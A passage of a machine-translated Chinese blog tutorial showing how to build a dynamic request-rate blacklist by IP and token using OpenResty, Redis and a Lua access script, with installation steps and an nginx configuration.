  • Extensible: Lua provides a very easy-to-use extension interface and mechanism: these functions are provided by the host language (usually C or C++), and Lua can use them as if they were built-in functions.

9.5 Realization of dynamic blacklist

(1) Install OpenResty

# 下载
wget https://openresty.org/download/ngx_openresty1.9.7.1.tar.gz
# 解压
tar xzvf ngx_openresty-1.9.7.1.tar.gz
cd ngx_openresty-1.9.7.1/
# 配置
./configure
# 编译
make
# 安装
make install
# 配置 nginx profile PATH
PATH=/usr/local/openresty/nginx/sbin:$PATH
export PATH
# 指定配置
nginx -c /usr/local/openresty/nginx/conf/nginx.conf

(2) configuration

Use OpenResty and the following redis components to configure redis database information and blacklist policies

set $redis_service "127.0.0.1";
set $redis_port 6380;
set $redis_db 0;
# 1 second 50 query
set $black_count 50;
set $black_rule_unit_time 1;
set $black_ttl 3600;
set $auto_blacklist_key blackkey;
  • redis_service: redis server ip address

  • redis_port: redis server port

  • redis_db: the redis db used

  • black_count: the maximum number of visits restricted by blacklisting

  • black_rule_unit_time: the storage time of black limit times, that is, the ttl of the kv that saves the number of visits

  • black_ttl: blacklist survival time

  • auto_blacklist_key: part of the key of kv

    Focus on controlling black_count and black_rule_unit_time

(3) lua script

ip_blacklist.lua, starting from ip and token (access credentials) to control

local redis_service = ngx.var.redis_service
local redis_port = tonumber(ngx.var.redis_port)
local redis_db = tonumber(ngx.var.redis_db)
local black_count = tonumber(ngx.var.black_count)
local black_rule_unit_time =tonumber(ngx.var.black_rule_unit_time)
local cache_ttl = tonumber(ngx.var.black_ttl)
local remote_ip = ngx.var.remote_addr
 
-- 计数
function my_count(redis, status_key, count_key)
    local key = status_key
    local key_connect_count = count_key
    local Status = redis:get(key)
    local count = redis:get(key_connect_count)
    if Status ~= ngx.null then
        -- 状态为connect 且 count不为空 且 count <= 拉黑次数
        if (Status == "Connect" and count ~= ngx.null and tonumber(count) <= black_count) then
            -- 再读一次
            count = redis:incr(key_connect_count)
            ngx.log(ngx.ERR, "count:", count)
            if count ~= ngx.null then
                if tonumber(count) > black_count then
                    redis:del(key_connect_count)
                    redis:set(key,"Black")
                    -- 永久封禁
                    -- Redis:expire(key,cache_ttl)
                else
                    redis:expire(key_connect_count,black_rule_unit_time)
                end
            end
        else
            ngx.log(ngx.ERR,"The visit is blocked by the blacklist because it is too frequent. Please visit later.")
            return ngx.exit(ngx.HTTP_FORBIDDEN)
        end
    else
        local count = redis:get(key)
        if count == ngx.null then
            redis:del(key_connect_count)
        end
        redis:set(key,"Connect")
        redis:set(key_connect_count,1)
        redis:expire(key,black_rule_unit_time)
        redis:expire(key_connect_count,black_rule_unit_time)
    end
end
 
-- 读取token
local token
local header = ngx.req.get_headers()["Authorization"]
if header ~= nil then
    token = string.match(header, 'token (%x+)')
end
local redis_connect_timeout = 60
local redis = require "resty.redis"
local Redis = redis:new()
local auto_blacklist_key = ngx.var.auto_blacklist_key
 
Redis:set_timeout(redis_connect_timeout)
 
        
local RedisConnectOk,ReidsConnectErr = Redis:connect(redis_service,redis_port)
 
local res = Redis:auth("password");
 
if not RedisConnectOk then
    ngx.log(ngx.ERR,"ip_blacklist connect Redis Error :" .. ReidsConnectErr)
 
else
    -- 连接成功
    Redis:select(redis_db)
    local key = auto_blacklist_key..":"..remote_ip
    local key_connect_count = auto_blacklist_key..":key_connect_count:"..remote_ip
    my_count(Redis, key, key_connect_count)
 
    if token ~= nil then
        local token_key, token_key_connect_count
        token_key = auto_blacklist_key..":"..token
        token_key_connect_count = auto_blacklist_key..":key_connect_count:"..token
        my_count(Redis, token_key, token_key_connect_count)
    end
end

As for the ip and token added to the blacklist, what needs to be done in the next step, here we will deal with the specific application under the server, and will not elaborate here

(4) When configuring the conf of nginx

server {
    listen 80;
    server_name edu.lagou.com;
    root /~/public;
    # 加载配置文件
    include /etc/nginx/conf.d/blacklist_params;
    # 指定请求中需要执行的 lua 脚本
    access_by_lua_file /etc/nginx/conf.d/ip_blacklist.lua;
    location / {
        }
    error_log /etc/nginx/conf.d/log/error.log;
    access_log /etc/nginx/conf.d/log/access.log;
}

The configuration is complete. Restart nginx in the console nginx -s reloadto realize the need of dynamically adding blacklist. As for the ip and token added to the blacklist, what needs to be done in the next step, here is the specific application under the server to deal with, and I will not elaborate here. API gateway Kong, based on OpenResty, open source and in 2015, the core value lies in its high performance and cross-site. According to the statistics of the top 500 organizations in the world, Kong is now the most widely maintained and used gateway in the production environment. Plugin IP Restriction intercepts and protects some requests according to the client IP by setting the IP whitelist and blacklist.

Guess you like

Origin blog.csdn.net/agonie201218/article/details/129871312